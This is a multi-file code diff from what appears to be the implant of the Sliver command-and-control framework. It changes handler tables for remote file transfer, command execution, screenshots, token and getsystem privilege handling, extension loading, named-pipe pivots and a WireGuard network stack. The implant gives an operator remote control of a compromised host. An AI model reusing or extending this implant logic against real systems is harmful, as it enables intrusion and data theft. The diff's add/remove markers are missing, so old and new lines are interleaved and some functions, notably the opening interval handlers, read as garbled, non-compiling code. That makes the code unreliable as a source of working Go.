reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
err := proto.Unmarshal(data, reconnectIntervalReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
// Set the reconnect interval value
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
if err != nil {
recIntervalResp.Response.Err = err.Error()
}
data, err = proto.Marshal(recIntervalResp)
resp(data, err)
}
@@ -582,9 +561,6 @@ func reconfigureHandler(data []byte, resp RPCResponse) {
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
+2 -3
View File
@@ -37,7 +37,6 @@ var (
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
@@ -49,8 +48,8 @@ var (
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
+13 -14
View File
@@ -32,20 +32,19 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
}
)
+2 -4
View File
@@ -34,7 +34,6 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -47,9 +46,8 @@ var (
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
+21 -37
View File
@@ -65,7 +65,6 @@ var (
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -83,18 +82,17 @@ var (
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -178,26 +176,6 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
resp(data, err)
}
func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
err := proto.Unmarshal(data, tokOwnReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
getCT := &sliverpb.CurrentTokenOwner{}
owner, err := priv.CurrentTokenOwner()
if err != nil {
getCT.Response = &commonpb.Response{Err: err.Error()}
}
getCT.Output = owner
data, err = proto.Marshal(getCT)
resp(data, err)
}
func getsystemHandler(data []byte, resp RPCResponse) {
getSysReq := &sliverpb.InvokeGetSystemReq{}
err := proto.Unmarshal(data, getSysReq)
@@ -624,17 +602,20 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -642,12 +623,15 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
+4 -4
View File
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
sc := &sliverpb.Screenshot{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
resp(data, err)
}
+1 -5
View File
@@ -22,7 +22,6 @@ package handlers
import (
"os"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -55,9 +54,6 @@ func killHandler(data []byte, _ *transports.Connection) error {
// {{if .Config.Debug}}
log.Println("Let's exit!")
// {{end}}
go func() {
time.Sleep(time.Second)
os.Exit(0)
}()
os.Exit(0)
return nil
}
+100 -351
View File
@@ -1,6 +1,7 @@
/* SPDX-License-Identifier: MIT
*
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
*/
package netstack
@@ -13,9 +14,7 @@ import (
"fmt"
"io"
"net"
"net/netip"
"os"
"regexp"
"strconv"
"strings"
"time"
@@ -23,17 +22,15 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
"gvisor.dev/gvisor/pkg/waiter"
"inet.af/netstack/tcpip"
"inet.af/netstack/tcpip/adapters/gonet"
"inet.af/netstack/tcpip/buffer"
"inet.af/netstack/tcpip/header"
"inet.af/netstack/tcpip/network/ipv4"
"inet.af/netstack/tcpip/network/ipv6"
"inet.af/netstack/tcpip/stack"
"inet.af/netstack/tcpip/transport/tcp"
"inet.af/netstack/tcpip/transport/udp"
)
type netTun struct {
@@ -42,14 +39,11 @@ type netTun struct {
events chan tun.Event
incomingPacket chan buffer.VectorisedView
mtu int
dnsServers []netip.Addr
dnsServers []net.IP
hasV4, hasV6 bool
}
type (
endpoint netTun
Net netTun
)
type endpoint netTun
type Net netTun
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
@@ -81,16 +75,12 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
@@ -101,10 +91,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
HandleLocal: true,
}
dev := &netTun{
@@ -119,23 +109,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
for _, ip := range localAddresses {
var protoNumber tcpip.NetworkProtocolNumber
if ip.Is4() {
protoNumber = ipv4.ProtocolNumber
} else if ip.Is6() {
protoNumber = ipv6.ProtocolNumber
}
protoAddr := tcpip.ProtocolAddress{
Protocol: protoNumber,
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
}
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
}
if ip.Is4() {
if ip4 := ip.To4(); ip4 != nil {
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV4 = true
} else if ip.Is6() {
} else {
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV6 = true
}
}
@@ -145,6 +129,10 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
}
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
// if tcpipErr != nil {
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
// }
dev.events <- tun.EventUp
return dev, (*Net)(dev), nil
@@ -207,289 +195,60 @@ func (tun *netTun) MTU() (int, error) {
return tun.mtu, nil
}
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
var protoNumber tcpip.NetworkProtocolNumber
if endpoint.Addr().Is4() {
protoNumber = ipv4.ProtocolNumber
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
if ip4 := ip.To4(); ip4 != nil {
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip4),
Port: uint16(port),
}, ipv4.ProtocolNumber
} else {
protoNumber = ipv6.ProtocolNumber
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip),
Port: uint16(port),
}, ipv6.ProtocolNumber
}
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
Port: endpoint.Port(),
}, protoNumber
}
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
fa, pn := convertToFullAddr(addr)
return gonet.ListenTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialTCP(net.stack, fa, pn)
}
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
if addr == nil {
return net.ListenTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr.IsValid() || laddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr)
lfa = &addr
}
if raddr.IsValid() || raddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr)
rfa = &addr
}
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.ListenTCP(net.stack, fa, pn)
}
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
var la, ra netip.AddrPort
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr != nil {
ip, _ := netip.AddrFromSlice(laddr.IP)
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
lfa = &addr
}
if raddr != nil {
ip, _ := netip.AddrFromSlice(raddr.IP)
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
rfa = &addr
}
return net.DialUDPAddrPort(la, ra)
}
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
return net.DialUDP(laddr, nil)
}
type PingConn struct {
laddr PingAddr
raddr PingAddr
wq waiter.Queue
ep tcpip.Endpoint
deadline *time.Timer
}
type PingAddr struct{ addr netip.Addr }
func (ia PingAddr) String() string {
return ia.addr.String()
}
func (ia PingAddr) Network() string {
if ia.addr.Is4() {
return "ping4"
} else if ia.addr.Is6() {
return "ping6"
}
return "ping"
}
func (ia PingAddr) Addr() netip.Addr {
return ia.addr
}
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
return &PingAddr{addr}
}
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
if !laddr.IsValid() && !raddr.IsValid() {
return nil, errors.New("ping dial: invalid address")
}
v6 := laddr.Is6() || raddr.Is6()
bind := laddr.IsValid()
if !bind {
if v6 {
laddr = netip.IPv6Unspecified()
} else {
laddr = netip.IPv4Unspecified()
}
}
tn := icmp.ProtocolNumber4
pn := ipv4.ProtocolNumber
if v6 {
tn = icmp.ProtocolNumber6
pn = ipv6.ProtocolNumber
}
pc := &PingConn{
laddr: PingAddr{laddr},
deadline: time.NewTimer(time.Hour << 10),
}
pc.deadline.Stop()
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
if tcpipErr != nil {
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
}
pc.ep = ep
if bind {
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
}
}
if raddr.IsValid() {
pc.raddr = PingAddr{raddr}
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
}
}
return pc, nil
}
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
return net.DialPingAddr(laddr, netip.Addr{})
}
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
var la, ra netip.Addr
if laddr != nil {
la = laddr.addr
}
if raddr != nil {
ra = raddr.addr
}
return net.DialPingAddr(la, ra)
}
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
var la netip.Addr
if laddr != nil {
la = laddr.addr
}
return net.ListenPingAddr(la)
}
func (pc *PingConn) LocalAddr() net.Addr {
return pc.laddr
}
func (pc *PingConn) RemoteAddr() net.Addr {
return pc.raddr
}
func (pc *PingConn) Close() error {
pc.deadline.Reset(0)
pc.ep.Close()
return nil
}
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
return errors.New("not implemented")
}
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
var na netip.Addr
switch v := addr.(type) {
case *PingAddr:
na = v.addr
case *net.IPAddr:
na, _ = netip.AddrFromSlice(v.IP)
default:
return 0, fmt.Errorf("ping write: wrong net.Addr type")
}
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
}
return int(n64), nil
}
func (pc *PingConn) Write(p []byte) (n int, err error) {
return pc.WriteTo(p, &pc.raddr)
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
defer pc.wq.EventUnregister(&e)
select {
case <-pc.deadline.C:
return 0, nil, os.ErrDeadlineExceeded
case <-notifyCh:
}
w := tcpip.SliceWriter(p)
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
NeedRemoteAddr: true,
})
if tcpipErr != nil {
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
}
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
return res.Count, &PingAddr{remoteAddr}, nil
}
func (pc *PingConn) Read(p []byte) (n int, err error) {
n, _, err = pc.ReadFrom(p)
return
}
func (pc *PingConn) SetDeadline(t time.Time) error {
// pc.SetWriteDeadline is unimplemented
return pc.SetReadDeadline(t)
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(t.Sub(time.Now()))
return nil
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
var (
@@ -667,7 +426,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
return p, h, nil
}
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
q.Class = dnsmessage.ClassINET
id, udpReq, tcpReq, err := newRequest(q)
if err != nil {
@@ -681,19 +440,16 @@ func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Q
var c net.Conn
var err error
if useUDP {
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
} else {
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
}
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
err := c.SetDeadline(d)
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
c.SetDeadline(d)
}
var p dnsmessage.Parser
var h dnsmessage.Header
@@ -837,8 +593,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
zlen = zidx
}
}
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
return []string{ip.String()}, nil
if ip := net.ParseIP(host[:zlen]); ip != nil {
return []string{host[:zlen]}, nil
}
if !isDomainName(host) {
@@ -849,7 +605,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
server string
error
}
var addrsV4, addrsV6 []netip.Addr
var addrsV4, addrsV6 []net.IP
lanes := 0
if tnet.hasV4 {
lanes++
@@ -904,7 +660,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
addrsV4 = append(addrsV4, net.IP(a.A[:]))
case dnsmessage.TypeAAAA:
aaaa, err := result.p.AAAAResource()
@@ -916,7 +672,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
default:
if err := result.p.SkipAnswer(); err != nil {
@@ -932,7 +688,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
}
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
var addrs []netip.Addr
var addrs []net.IP
if tnet.hasV6 {
addrs = append(addrsV6, addrsV4...)
} else {
@@ -969,48 +725,44 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
return now.Add(timeout), nil
}
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
if ctx == nil {
panic("nil context")
}
var acceptV4, acceptV6 bool
matches := protoSplitter.FindStringSubmatch(network)
if matches == nil {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
} else if len(matches[2]) == 0 {
var acceptV4, acceptV6, useUDP bool
if len(network) == 3 {
acceptV4 = true
acceptV6 = true
} else {
acceptV4 = matches[2][0] == '4'
acceptV6 = !acceptV4
} else if len(network) == 4 {
acceptV4 = network[3] == '4'
acceptV6 = network[3] == '6'
}
var host string
var port int
if matches[1] == "ping" {
host = address
} else {
var sport string
var err error
host, sport, err = net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err = strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
if !acceptV4 && !acceptV6 {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
if network[:3] == "udp" {
useUDP = true
} else if network[:3] != "tcp" {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
host, sport, err := net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err := strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
allAddr, err := tnet.LookupContextHost(ctx, host)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
var addrs []netip.AddrPort
var addrs []net.IP
for _, addr := range allAddr {
ip, err := netip.ParseAddr(addr)
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
addrs = append(addrs, net.ParseIP(addr))
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
addrs = append(addrs, net.ParseIP(addr))
}
}
if len(addrs) == 0 && len(allAddr) != 0 {
@@ -1048,13 +800,10 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
}
var c net.Conn
switch matches[1] {
case "tcp":
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
case "udp":
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
case "ping":
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
if useUDP {
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
} else {
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
}
if err == nil {
return c, nil
+1 -2
View File
@@ -19,7 +19,6 @@ package pivots
*/
import (
"strings"
"sync"
"time"
@@ -38,7 +37,7 @@ var (
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
+1 -1
View File
@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
}
}
// Start - Starts the pivot connection handler
// Start - Starts the TCP pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
-27
View File
@@ -1,4 +1,3 @@
//go:build windows
// +build windows
package priv
